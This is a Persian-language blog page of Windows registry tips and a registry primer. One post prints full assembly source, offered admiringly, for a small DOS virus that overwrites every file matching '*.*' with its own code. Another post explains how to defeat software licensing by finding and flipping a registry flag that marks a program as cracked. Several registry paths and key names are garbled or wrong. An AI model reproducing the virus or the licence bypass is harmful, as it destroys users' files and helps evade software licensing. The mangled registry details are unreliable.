تبلیغات
برنامه های ریجستری

برنامه های ریجستری

 ویندوز سالم و سریعی داشته باشم با عمری طولانی
شاید شما ها خیلی شنیدید که میگن ویندوز من کند شده یا یک دفعه ویندوز من از کار افتاد
اگه شما برخی مسایل رو در نظر بگیرید همیشه ویندوزی سریع و سالم خواهید داشت که ماها حتی بیش از یکسال براتون کار خواهد کرد
1=رجیستری
اکثر مشکلات ویندوز بر میگرده به ریجستری که همون دفتر حساب و کتاب ویندوزه
شما هر کاری کنید تو ریجستری ثبت میشه مثلا یک پوشه تو محیط دسکتاپ ایجاد کنید تو ریجستری یک کلید براش درست میشه حال اگه شما این پوشه رو حذف کنید همچنان کلید تو ریجستری باقی مونده و error میده
فرض کنیم شما ویندوز رو نصب کردید و ریجستری با 2 مگابایت اطلاعات براتون ایجاد شد حال 3 ماه گذشته و شما کلی برنامه نصبو حذف کردید کلی اهنگ گوش دادید و غیره هر کاری کنید حتی یک اهنگ گوش کنید یک کلید ساخته میشه بعد 3 ماه ریجستری شده 15 مگابایت در حالیکه فقط 7 مگابایتش اطلاعات داره مابقی کلیدهای هستند که برنامه انها حذف شده در نتیجه ویندوز قاطی میکنه چون نمیدونه با کلیدهای فاقد برنامه چه کنه لذا از کار میفته و شما باید ویندوز رو دوباره نصب کنید
برای همین باید همیشه یک برنامه تمیز کننده ریجستری تو کامپیوترتان نصب کنید و هر 10 تا 15 روز یکبار ریجستری رو تمیز کنید تا هم عمر ویندوز بالا بره هم سریعتر کار کنه
تعداد برنامه ها زیاده من خودم از jv16 powrtools استفاده میکنم که علاوه بر تمیز کردن ریجستری اونو دیفرگ هم میکنه
Reg cur برنامه بسیار عالی و مطمعن برای تمیز کردن ریجستری هست و tuneup utitlity رو هم که باید داشته باشید تو سایت تبیان به حجم حدودا 10 مگابایت میتونید اخرین نسخه تیون اپ یوتیلیتی رو دانلود و نصب کنید فقط اجازه اتصال بهش ندید تا از کار نیفته
2=پاک کردن temp
Temp همون فایلهای موقتی هست وقتی تو انترنت هستید یا اهنگی گوش میدید یک فایل تمپ درست میشه حجمش خیلی کمه مثلا 1 کیلو بایت اما همین اندک اندک جمع گردد یهو میبینید حجم فایلهای temp به 1 گیگ رسیده که باعث به هدر رفتن فضای لازمه و کند شدن ویندوز میشه
شما میتونید با برنامه های مثا ویندوز واشر از شر فایلهای تمپ خلاص شید البته خود ویندوز هم این کارو میکنه البته خیلی ضعیفه و اکثر فایلها رو از بین نمیبره اما اگه برنامه لازمه رو ندارید از خود ویندوز کمک بگیرید
مثلا برید رو درایوc و روی ان کلیک راست کنید propertis رو انتخاب کرده روی دیسک کلین اپ کلیک کنید تا فایلها رو براتون تمیز کنه
3=دیفرگ کردن هارد
سعی کنید هر ماه یکبار دیسک خود رو دیفرگ کنید چون وقتی برنامه رو نصب کنید پشت سر هم نصب نمیشه ویندوز هر جا فضای خالی باشه فایلهارو نصب میکنه لذا سبب تکه تکه شدن فایلها و کند شدن ویندوز میشه لذا با دیفرگ کردن فایلها یکپارچه شده ویندوز سریعتر فایلهارو پیدا میکنه
4=اطلاعت خودتون رو در جایی غیر درایو c نگه دارید
تا انجا که میتونید اهنگها یا اطلاعات شخصی مثل عکس و غیره رو در درایو حاوی ویندوز نگه داری نکنید که با از دست دادن ویندوز اونارو هم از دست بدید ثانیا یا از مای دکومنت کپی بگیرید یا طوری اونو تعرفش کنید که مایدکومنت در درایو غیر c قرار بگیره تا در صورت خراب شدن ویندوز حالتون گرفته نشه
5=فقط برنامه های لازمه رو نصب کنید
سعی کنید تنها برنامه هایی که بهشون احتیاج دارید رو نصب کنید چون تعداد برنامه های زیاد هم ریجستری رو بزرگ میکنه هم ویندوز شمارو کند میکنه لذا هر برنامه رو نصب نکنید
ادامه دارد..............
__________________

نظرات() 

این کد یکی از کم حجم ترین ویروسهای دنیا هست که بزبان اسمبلی نوشته شده.  ساختار ساده این ویروس همه رو محو میکنه و هنر برنامه نویسی اینجا به اوج میرسه. البته کاری که این ویروس میکنه خیلی احمقانه بنظر میاد.. ولی حجم کمش باعث میشه که مورد توجه قرار بگیره. (دستکاری رجیسترها به این صورت یه کم احمقانه هست  نظر هم بدین

.
;Code by Stormbringer..

.model tiny
.radix 16
.code
        org 100
start:
       
FindFile:       
        xchg    cx,ax           ;ax defaults to zero on runtime - cx doesn't
        push    si              ;si defaults to 100h under dos - use this l8r
        mov     dx,offset filemask
        mov     ah,4e
        int     21

OverwriteFile:
        mov     dx,9e
        mov     ah,3c
        int     21

WriteVirus:       
        xchg    bx,ax
        mov     ah,40
        pop     dx              ;get 100h from si earlier for write pointer
        mov     cl,endvir-start ;move only to CL, CH is already zero
        int     21

Terminate:
        ret                     ;terminate by returning to PSP (Int 20)

filemask        db      '*.*',0
endvir:
end start

 

نظرات() 

سه شنبه 8 بهمن 1387

۲۰ ترفند جالب ریجستری ویندوز

نویسنده: مسعود محمدی   

۲۰ ترفند جالب ریجستری ویندوز
تغییر دادن گروه بندی نوار تکلیف (TASKBAR )
وقتی که برنامه ها یا اسناد متعددی را در آن واحد باز میکنید و نوار تکالیف با شکلک های متعدد شلوغ میشه خود ویندوز ایکس پی نوار تکلیف را با گروه بندی پنجره های مفتوح مشابه در یک شکلک واحو خلوت می سازد رجیستری به شما کمک میکند این ترتیب را تغییر دهید ابتدا به کلید زیر بروید :
HKEY_CURRENT_USERSOFTWAREMICROSOFTCURENT VERSIONEXPLORERADVANCED
سپس در سمت راست روی یک جای خالی راست کلیک کرده و سپس از منوی NEW گزینه DWORD را انتخاب کنید و اسم آن را TASKBARGROUPSIZE بگذارید
اگر مقدار 1 به آن بدهید ویندوز پنجره ها را بر حسب اندازه شان گروه بندی میکند یعنی بزرگترها اول قرار میگیرند و ... اگر مقدار 2 بهش بدین هر وقت 2 تا پنجره یا یا بیشتر ار یک نوع برنامه باز شمود آنها را گروه بندی میکند و ااگر 3 بدهید هر وقت 3 تا یا بیشتر از یک برنامه باز شود آن ها را گروه بندی میکند




حذف کردن برنامه هایی که پاک نمیشوند !
به دلایلی که برای ما معلوم نیست بسیاری از برنامه ها به طور کامل پاک (uninstall ) نمیشوند در نتیجه بسیاری از کاربران سعی می کنند با حذف پوشه یا شاخه آن برنامه مقدمات پاک شدن آن را انجام دهند اما نام چنین برنامه هایی برای همیشه در فهرست
AddRemove Program باقی خواهند ماند برای آنکه فهرست این برنامه ها را از بین ببریم باید از رجیستری استفاده کنیم :
ابتدا به کلید زیر بروید :
HKEY_LOCAL_MACHINEMicrosoftWindowsCurent Versionuninstall
و سپس کلید متناظر با این کلید را باز کنید و حالا برنامه هایی را که نمی توانستید پاک کنید را از این جا حذف کنید تا برای همیشه از بین بروند




تغییر دادن مهلت زمانی برنامه ها
وقتی که برنامه ای از کار میفتد ویندوز یک مقدار زمان مشخصی به آن فرصت میدهد تا سعی کند خود را از مخمصه نجات دهد اما اگر فکر میکنید این مهلت زمانی زیاد است میتوانید آن را کم کنید برای این ممنظور به کلید زیر بروید :
HKEY_CURRENT_USERControl panelDesktop
سپس متغیر Hung app Timeout را پیدا کنید مقدار این متغیر 500 است مقدار را طوری کم کنید که یک مهلت عادلانه نیز به برنامه مریض الاحوال داده شده باشد




تنظیم پنجره خوش آمدگویی ویندوز
به کلید زیر بروید :
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows CurrentVersionExplorerTips
خوب شما میتوانید در این قسمت 48 نکته در ویندوز 98 و 95 و 50 نکته در XP و NT قرار دهید که در هنگام بالا آمدن ویندوز برای شما نمایش دهد شما میتوانید متغیرهایی از نوع STRING VALUE بسازید و به آن نامی از 0 تا 50 بدهید و نکات خود را در آن قرار دهید تا با هر بار بالا آمدن ویندوز به نمایش درآید این نکته بسیار بسیار جالبی است که خیلی کارا میشه باهاش کرد مانند نکاتی که میخواهیم کاربران ویندوز آنها را رعایت کنند و ....
  
 چگونه ClearVirtual Memory را در Windows Xp فعال كنیم ؟
به قسمت Administrative در control ponel بروید . حال قسمت Local Security Policy را انتخاب كنید . سپس قسمت Local Policies را انتخاب كنید . از قسمت Local Policies به قسمت Security Options بروید .

حال دو پنجره سمت راست عبارت زیر را پیداكنید :

Shut down : clear Virtual Memory Pagefile

حال دوبار بر رویعبارت مذكور كلیك كنید و آن را از حالت Disabled به حالت Enabled تغییر دهید

حذف علامت فلش در shortcut ها
هنگامی كه در ویندوز میانبر می سازیم در گوشه پایین و سمت چپ آیكون آن shortcut،علامت فلش سفید رنگی ظاهر می شود كه ممكن است برای شما خوشایند نباشد.برای حذف كردن آن دستوات زیر را در registryانجام دهید :
توجه: جهت حذف فلش، دستور زیر را از مسیرهای گفته شده حذف كنید و جهت نمایان شدن دوباره فلش، دستور زیر را در مسیرهای گفته شده با مقدار،یك فضای خالی،بسازید.
مسیر اول:Hkey-Classes-Root\Lnkfile
مسیر دوم:Hkey-Classes-Root\Piffile
مسیر سوم:Hkey-Classes-Root\[فقط کاربران ثبت نام شده می توانند لینکها را ببینند ] shortcut
مسیر چهارم:Hkey-Classes-Root\Dos shortcut
نوع:String value
دستور:Is shortcut
مقدار:یك فضای خالی
در واقع پس از رسیدن به محل های فوق گزینه Is shortcut را از سمت راست حذف كنید.
و برای ساختن مجدد آن، به كلیدهای بالا رفته،در سمت راست كلیك راست كنید و new و سپس String value را انتخاب كنید
غیر فعال کردن گزینه ShutDown
این ترفند از خاموش كردن كامپیوتر بوسیله گزینه Shut Down جلوگیری میكند.
ازمنوی Run به رجیستری رفته و در كلید زیر :
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
یكمتغیر ازنوع DWord با نام NoClose بسازید ( اگر وجود دارد، فقط مقدار آن را تغییردهید ) و مقدار آن را 1 قرار دهید.
همین كارها را برای كلید زیر نیز انجام دهید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer
درضمن برای دوباره فعال كردن گزینه Shut Down، مقدار متغیر فوق را 0 قرار دهید.
ازرجیستری خارج شوید و یك بار ویندوز را Restart كنید

جلوگیری از ثبت UserName در پنجره DialUp

هنگامی كه وارد پنجره Dial-up Networking می شوید و روی آیكونهای تماس خود كلیك میكنید پنجره ای ظاهر می شود كه اگرUsername, Password و همچنین شماره تلفن را واردكنیم و بعد دكمه Connect را فشار دهیم، تماس با اینترنت از طریق خط تلفن برقرارخواهد شد و بعد از اولین تماس موفقیت آمیز، Username در این پنجره ثبت خواهد شد وبرای تماس مجدد دیگر احتیاجی به وارد كردن مجدد Username نمی باشد .

البتهاین مسئله عیبی كه دارد اینست كه كاربران دیگر متوجه Username ما می شوند .
بدینمنظور جهت جلوگیری از ثبت شدن Username, دستور زیر را با مقدار 1 به كار ببرید .

سیستم عامل : XP - 2000
مسیر : HKEY_Local_Machine\System\Currentcontealset\Servic es\Rasman\Parameters
نوع : String Value
دستور : DisableSavePassword
مقدار : 1توجه: جهت بازگشتبه حالت اولیه، دستور را از مسیر گفته شده خارج كنید
__________________

نظرات() 

 
 
اگه برنامه ای دارید که برای رجیستری کردن آن سریال نامبر بخواد و  یا برنامه ای از اینترنت دریافت کردید و بعد از چند روز از کار افتاده این مطلب رو تا آخرش بخونید:

با انجام دادن این کار شما میتونید بعضی از برنامه های خودتون رو رجیستری کنید یا بعضی از برنامه هایی که از اینترنت دریافت میکنید و بعد از چند روز از کار می افته که برای استفاده دوباره از اونا باید اون نرم افزار رو خریداری کنید یا باید سریال نامبر اون برنامه رو داشته باشید تا آن برنامه رجیستری شود
اما با راه حلّی که به شما میگم میتونید خودتون همه ی اینکارا رو با رجیستری انجام بدید:
1- قبل از هرکاری باید یه پشتیبانی از رجیستری بگیرید (در Run تایپ کنید Regedit و دکمه ی Ok را بزنید در بالای پنجره ی باز شده از منوی File گزینه ی Export رو انتخاب کنید حالا برای Save کردن کل رجیستری در قسمت Export range گزینه ی All رو انتخاب کنید و برای save کردن نام فایل اون رو before بزارید و اون رو تو درایو C ذخیره کنید).
2- بعد از ذخیره ی کل رجیستری یه برنامه رو مثل Wimamp یا هر برنامه ی دیگری رو که دوست دارید نصب کنید تا تغییرات رو در رجیستری ببینید. بعد از نصب یک برنامه حالا دوباره به رجیستری برید و همون کارای قسمت اول رو بکنید ولی اسم فایل رو برای ذخیره After بزارید و کنار فایل قبلی که ذخیره کردید بزارید
3- حالا Cmd رو اجرا کنید(برای اجرا: Run>cmd) وبا دستور :C در cmd وارد درایو C شوید و در جلوی آن این دستور را بنویسید
fc c:\before.reg c:\after.reg>change.txt
4- حالا به درایو C برید و در اونجا فایل change.txt
رو باز کنید همه ی تغییرات رو با ستاره جدا ،جدا مشخص کرده ولی برای نوشتن کلمه همه ی حروف اون رو حرف  به حرف هر کدوم رو تو خط جدا نوشته و مسیری که تغییرات ایجاد شده فقط فایل آخری که تو اون تغییر ایجاد شده رو نشون میده و از اول تا آخر مسیر اون فایل رو نشون نمیده برای اینکه راحت به فایلی که تو اون تغییر ایجاد شده برسید این پایین رو بخونید.

..:: پیدا کردن فایل متغیر شده ::..

 به رجیستری برید و در بالای پنجره منوی Edit رو باز کنید و گزینه ی Find رو کلیک کنید حالا برای دیدن تغییراتی که در یک فایل ایجاد شده باید در هر قسمتی که در فایل Chang.txt است رو با قرار دادن در یک خط در  Find what وارد کنید و بعد از چند ثانیه فایلی که در اون تغییر ایجاد شده رو مشاهده خواهید کرد.

..::نحوه ی رجیستری کردن برنامه ها::..

حالا میتونید با تغییراتی که در فایل Chang ثبت شده با کمی جستجو با Find رجیستری،فایلی که کرک شدن یا کرک نشدن برنامه رو نشون میده پیدا کنید(بسیاری از برنامه ها برای نشون دادن کرک شدن یا نشدن آن ها رو در یک فایل با عدد صفر نشون میدن که به معنی کرک شدن برنامه است و برای کرک نشدن برنامه عدد یک رو به کار میبرند که شما با تغییراتی در این فایل و جایگزین کردن عدد 0 به جای 1 میتوانید اون برنامه رو که برای کرک شدن یا باید اون رو با سریال نامبرش یا اتصال به اینترنت و یا با خریداری آن برنامه از کرک شدن اون خلاص شوید فقط یه کم با رجیستری و این فایل ور برید.

نظرات() 

سه شنبه 8 بهمن 1387

آشنائی با ریجستری ویندوز 2003

نویسنده: مسعود محمدی   

آشنائی با ریجستری ویندوز 2003

هر نرم افزار برای ذخیره اطلاعات مورد نیاز خود از ساختارهای داده ئی مختلفی استفاده می نماید . ساختارهای داده ، دارای نقشی اساسی در یك نرم افزار می باشند و در صورت بروز اشكال ، ادامه حیات نرم افزار با مشكل اساسی مواجه می گردد . اختلال ایجاد شده به نوع و جایگاه ساختمان داده بستگی داشته و در برخی موارد ممكن است نرم افزار قادر به ادامه حیات عادی خود نباشد . 
سیستم های عامل به عنوان مهمترین نرم افزار سیستم نیز از این قاعده مستثنی نبوده و با توجه به جایگاه برجسته آنان در مدیریت منابع سخت افزاری و نرم افزاری ، اهمیت و حساسیت ساختارهای داده ئی آنان مضاعف می گردد، چراكه با بروز اشكال در هر یك از ساختمان داده های مورد نیاز یك سیستم عامل، در مدیریت  آن اختلال ایجاد می گردد و دامنه آن گریبانگیر سایر نرم افزارها می گردد. توجه داشته باشیم كه سیستم عامل محیط عملیاتی لازم برای اجرای سایر برنامه های كامپیوتری را فراهم می نماید . بدیهی است با بروز اشكال ، امكان ایجاد و مدیریت محیط اجرائی مورد نیاز سایر برنامه ها وجود نخواهد داشت . در برخی موارد و با توجه به جایگاه یك ساختمان داده  ، می بایست مجددا" سیستم عامل بر روی ماشین نصب گردد .
هر سیستم عامل  به منظور مدیریت اطلاعات مورد نیاز خود از ساختمان داده های مختلفی  استفاده می نماید كه هر یك دارای وظایف و جایگاه مختص به خود می باشند .سیستم عامل ویندوز نیز از این قاعده مستثنی نمی باشد. بدون شك ریجستری ( Registry ) ، یكی از مهمترین و حساس ترین  ساختمان داده های موجود در ویندوز است  كه با توجه به جایگاه برجسته آن لازم است كه با آن بیشتر  آشنا شویم .

ریجستری و ماهیت آن 
ریجستری كه همزمان با عرضه ویندوز 95 ارائه گردید ، محلی‌ به منظور ذخیره داده های منحصربفرد در ارتباط با پیكربندی ماشین و كاربر است . به عبارت دیگر ، ‌ریجستری یك بانك اطلاعاتی بزرگ است كه تمامی اطلاعات پیكربندی در ارتباط با كاربر ، برنامه ها  و سخت افزار را در خود نگهداری می نماید. دامنه اطلاعات ذخیره شده در بانك اطلاعاتی فوق بسیار گسترده بوده و مواردی همچمون رنگ زمینه ، رویه ، Screen saver  تا رمزهای عبور محلی را شامل می شود. 
ریجستری با هدف جایگزین شدن با فایل های ini. طراحی گردید .در فایل های ini. ، اطلاعات پیكربندی در فایل های متن ذخیره می گردید كه امكان ویرایش آنان به سادگی وجود داشت . فایل های فوق علیرغم مزایائی همچون كم حجم بودن و ویرایش آسان ، دارای محدودیت هائی نظیر ظرفیت كم و عدم حمایت از چندین كاربر می باشند. ریجستری با این هدف طراحی گردید تا بتواند  علاوه بر غلبه محدودیت های اشاره شده ، امكان بازیافت تنظمیات پس از بروز مشكل در سیستم را نیز فراهم نماید . برخی برنامه ها همچنان از فایل های ini. برای ذخیره تنظیمات سفارشی كاربر استفاده می نمایند .
اكثر اطلاعات  به صورت اتوماتیك و در زمان نصب سیستم عامل در ریجستری نوشته می شود . سایر اطلاعات همزمان با نصب برنامه های جدید در ریجستری درج می گردد . در صورت ضرورت می توان اطلاعات موجود در ریجستری را ویرایش و یا حذف نمود . ویرایش و یا حذف داده موجود در ریجستری ، می بایست با دقت و بررسی تمامی جوانب كار انجام شود . درصورت عدم رعایت نكات اشاره شده ، ممكن است مجبور به نصب مجدد ویندوز شویم . در صورتی كه لازم است تغییراتی در ریجستری داده شود می بایست در ابتدا و با استفاده از فرآیندی كه در ادامه به آن اشاره خواهد شد از اطلاعات موجود backup گرفته شود .
شكل زیر ساختار ریجستری را كه از پنج زیردرخت تشكیل می گردد نشان می دهد . از پانل سمت چپ برای بررسی یك كلید و از پانل سمت راست برای نمایش داده مرتبط با كلید انتخابی استفاده می گردد .

زیردرخت های پنج گانه ریجستری

با استفاده از برنامه regedit.exe  می توان اطلاعات موجود در ریجستری را مشاهده ، ویرایش و حذف نمود . برای فعال كردن برنامه فوق كافی است از گزینه Run استفاده نمائیم . 

 تنظیم مجوزها
با تنظیم مجوزها می توان امكان دستیابی و یا عدم دستیابی به زیردرخت ها و كلیدها را در اختیار برنامه ها و كاربران قرار داد . به صورت پیش فرض ، كاربران عادی صرفا" قادر به مشاهده اطلاعات می باشند و مدیران سیستم علاوه بر امكان فوق، می توانند مقادیر كلیدها را نیز تغییر دهند . مثلا" ممكن است در زمان نصب یك نرم افزار  ، به دلایل متعددی نرم افزار موفق به ایجاد مجوزهای دستیابی در ریجستری نگردد و عملا" بخشی از نرم افزار نتواند خدمات خود را در اختیار كاربران قرار دهد . با تنظیم دستی مجوزها ، امكان استفاده از نرم افزار فراهم می گردد .
برای تنظیم مجوزها ، پس از اجرای برنامه regedit.exe ، یك كلید را انتخاب نموده ( كلیك سمت راست ) و گزینه permission را انتخاب می نمائیم  .در ادامه لیست ACL برای كلید مورد نظر نمایش داده می شود و می توان با استفاده از آن مجوزهای دلخواه را تنظیم نمود (دقیقا" مشابه تنظیم مجوزها بر روی یك فایل و فولدر در سیستم فایل NTFS ) .

زیردرخت های پنج گانه ریجستری
ریجستری دارای پنج بخش اصلی است كه هر یك مجموعه ای از زیر كلیدها را در خود نگهداری می نمایند . اكثر عملیات با استفاده از زیردرخت های MACHINE _ و USER _   انجام می شود .  اسامی این زیردرخت ها عبارتند از :

  • HKEY_CLASSES_ROOT ، شامل داده لازم به منظور ارتباط نوع فایل ها با برنامه ها و پیكربندی مورد نیاز  برای اشیاء COM است .  به زیردرخت  فوق به اختصار HKCR نیز گفته می شود .

  • HKEY_LOCAL_USER ، شامل تنظمیات و مراجع لازم برای كاربری است كه به سیستم  log in نموده است . تنظمیات فوق پویا بوده و برای هر كاربر منحصربفرد می باشد . به زیردرخت  فوق به اختصار HKCU نیز گفته می شود .

  • HKEY_LOCAL_MACHINE ، شامل اطلاعات لازم در خصوص سخت افزارهای نصب شده است. اطلاعات فوق معمولا" تا زمانی كه تغییراتی در آنان داده نشود برای تمامی كاربران ثابت خواهند بود . به زیردرخت فوق به اختصار  HKLM  نیز گفته می شود .

  • HKEY_USERS ، شامل یك اشاره گر به  HKEY_LOCAL_USER و پروفایل كاربر DEFAULT است ( یك تمپلیت  زمانی استفاده می گردد كه یك پروفایل به كاربران جدید ، نسبت داده شود ) .

  • HKEY_CURRENT_CONFIG : شامل داده پیكربندی برای پروفایل سخت افزار جاری است و به پروفایل   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Hardware   اشاره می نماید . 

نوع های داده تعریف شده در ریجستری
در پانل سمت راست برنامه Registry Editor ، می توان نوع های داده متفاوت را مشاهده نمود :

  • REG_SZ ، یك مقدار ساده رشته ای است و می تواند شامل یك URL,Path و یا شماره پورت باشد .

  • REG_BINARY : داده باینری كه به صورت مبنای شانزده ارائه می گردد.

  • REG_DWORD : یك نوع  خاص از نوع REG_BINARY می باشد ، با این تفاوت كه طول آن چهار بایت است .

  • REG_MULTI_SZ : یك رشته با طول متغیر است كه امكان ذخیره چندین پارامتر در یك مقدار را فراهم می نماید . 

  • REG_EXPAND_SZ : یك رشته با طول متغیر است كه می تواند شامل اطلاعات پویائی باشد كه در زمان راه اندازی سیستم تغییر می یابند ( نظیر نام كاربر كه برای هر كاربر طول آن متفاوت است ) .

پیكربندی ریجستری از راه دور
با استفاده از برنامه Regedit.exe و در صورت وجود مجوزهای لازم، می توان پیكربندی یك ماشین را از راه دور را انجام داد . مراحل انجام این كار به شرخ زیر است :

  • اجرای  برنامه regedit.exe

  • انتخاب گزینه Connect Network Registry از طریق منوی File  

  • درج نام كامپیوتری كه قصد داریم به آن متصل شویم ( در این رابطه می توان از دكمه Advanced  به منظور جستجو جهت یافتن كامپیوتر نیز استفاده نمود ) .

  • درج نام و رمز عبور جهت اتصال به ماشین 

  • در این مرحله ریجستری ماشین راه دور بر روی كنسول شما  نمایش داده می شود .

  • پس از اعمال تغییرات می توان گزینه Disconnect Network Registry را انتخاب و از برنامه خارج گردید .

و اما دو نكته مهم :

  •  هر گونه تغییرات بلافاصله بر روی كامپیوتری كه پیكربندی آن را از راه دور انجام می دهیم ، اعمال می گردد ( در برخی موارد ممكن است تغییرات پس از راه اندازی سیستم اعمال گردد )

  •  در مواردی كه  از راه دور به یك ریجستری متصل می شویم صرفا" امكان ویرایش كلیدهای  HKEY_LOCAL_MACHINE  و HKEY_USERS   وجود دارد .

تهیه نسخه Backup از ریجستری
برای گرفتن backup از ریجستری  و یا بخش هائی از آن در ویندوز 2003 ، می توان از سه روش مختلف استفاده نمود :

  • استفاده از برنامه كمكی backup  ویندوز

  • استفاده از پتانسیل import/export برای بخش هائی خاص از زیردرخت ها و یا كلیدها (با استفاده از برنامه Regedit.exe )

  • استفاده از برنامه reg.exe از طریق خط دستور .

روش اول : استفاده از از برنامه كمكی Backup و Restore
پس از طی مسیر Progarms|Accessories|System Tools می توان برنامه Backup را فعال نمود . با استفاده از امكانات این برنامه می توان عملیات تهیه backup و یا برگرداندن اطلاعات backup گرفته شده را انجام داد . از طریق Backup tab ، گزینه My computer را فعال و System State را انتخاب نمائید .  بر روی یك كنترل كننده domain ، تهیه نسخه پشتیبان از System State ، امكان تهیه backup از اكتیودایركتوری، فایل های راه اندازی سیستم (boot ) ، سرویس دهنده Certificate ( در صورتی كه نصب شده باشد ) ، كلاس اشیاء عناصر Com ریجستر شده و SYSVOL نیز وجود خواهد داشت .  در ادامه ، محل ذخیره نسخه Backup را مشخص نموده ( توصیه می گردد كه نسخه backup بر روی یك محیط ذخیره سازی removable و یا پارتیشن دیگر ایجاد گردد ) و گزینه Start Backup را فعال می نمائیم . در نهایت ، یك جعبه محاوره ای جدید نمایش داده می شود كه وضعیت فرآیند backup را نشان می دهد.
برای برگرداندن اطلاعات backup ، در ابتدا گزینه Restore and Manage Media  را انتخاب نموده و در ادامه با استفاده از منوی Tools گزینه Catalog a backup file را انتخاب و مسیر ذخیره فایل backup را مشخص می نمائیم . در این مرحله مواردی را كه قصد برگرداندن اطلاعات آن را داریم مشخص نموده ( در این مورد خاص تمام System State ) و با فشردن دكمه Start Restore عملیات برگرداندن اطلاعات آغاز می گردد .

روش دوم  : Importing/Exporting فایل های ریجستری  
در مواردی كه یك بخش از ریجستری export می گردد ، نتایج به صورت یك فایل و با انشعاب  reg. ذخیره می گردد . در ادامه با اجرای فایل فوق مقادیر ذخیره شده مجددا" در ریجستری نوشته خواهند شد . برای export ریجستری ، كلید مورد نظر را از پانل سمت چپ انتخاب نموده و پس از كلیك برروی آن ( كلیك سمت راست) ، گرینه Export را انتخاب و در ادامه محل ذخیره فایل را مشخص می نمائیم. پس از export داده ذخیره شده در ریجستری ، می توان با استفاده از یك ویرایشگر متن نظیر Notepad آن را ویرایش نمود .
محتویات یك  فایل نمونه  reg .   :

[HKEY_CURRENT_USER\Control Panel\Accessibility\MouseKeys]
"Flags"="62"
"MaximumSpeed"="80"
"TimeToMaximumSpeed"="3000"

برای import داده ذخیره شده در یك فایل درون ریجستری ، كافی است بر روی فایل مورد نظر كلیك نموده ( double click ) و در پاسخ به سوال مطرح شده گزینه Yes را انتخاب تا در نهایت اطلاعات در  ریجستری نوشته گردد .

روش سوم : استفاده از  خط دستور
با استفاده از برنامه reg.exe  كه از طریق خط دستور اجراء می گردد ، می توان بخش هائی از ریجستری را با استفاده از دستوراتی ساده  و  اندك import و  یا restore نمود . با استفاده از برنامه فوق می توان از یك زیردرخت در زمانی كه سیستم در حالت اجراء است ، backup گرفت . REG SAVE و REG RESTORE دو فرمان مهم برنامه فوق می باشند :

  • دستور REG save  : با استفاده از دستور فوق می توان از كلیدهای ریشه Backup گرفت . نحوه استفاده از دستور فوق به صورت زیر است :

reg save <root_subtree> <save_location>

Backup از ریجستری با استفاده از دستور reg save

      فایل های ریجستری در مسیر مشخص شده ذخیره می گردند :

فایل های backup ریجستری

  • دستور REG restore  : با استفاده از دستور reg restore می توان كلیدهائی را كه قبلا" با استفاده از دستور Reg save ذخیره شده اند را restore نمود .  نحوه استفاده از دستور فوق به صورت زیر است :

Reg restore hkcr e:\regbackup\hkcu

جمع بندی
آشنائی با ساختار ریجستری و فرآیندهای backup و restore ، دانش ارزشمندی برای هر كاربر است .  مدیران شبكه در اغلب موارد می توانند با استفاده و ویرایش ریجستری ، بسیاری از مسائل را برطرف نمایند. مسائلی كه شاید تنها گزینه موجود برای حل آنان استفاده از ریجستری باشد . در زمان كار با ریجستری ، می بایست حداكثر دقت را داشته باشیم چراكه ممكن است با بروز یك اشتباه كوچك امكان استفاده از سیستم وجود نداشته باشد و مجبور به نصب مجدد ویندوز شویم .

نظرات() 

آمار وبلاگ

  • کل بازدید :
  • بازدید امروز :
  • بازدید دیروز :
  • بازدید این ماه :
  • بازدید ماه قبل :
  • تعداد نویسندگان :
  • تعداد کل پست ها :
  • آخرین بازدید :
  • آخرین بروز رسانی :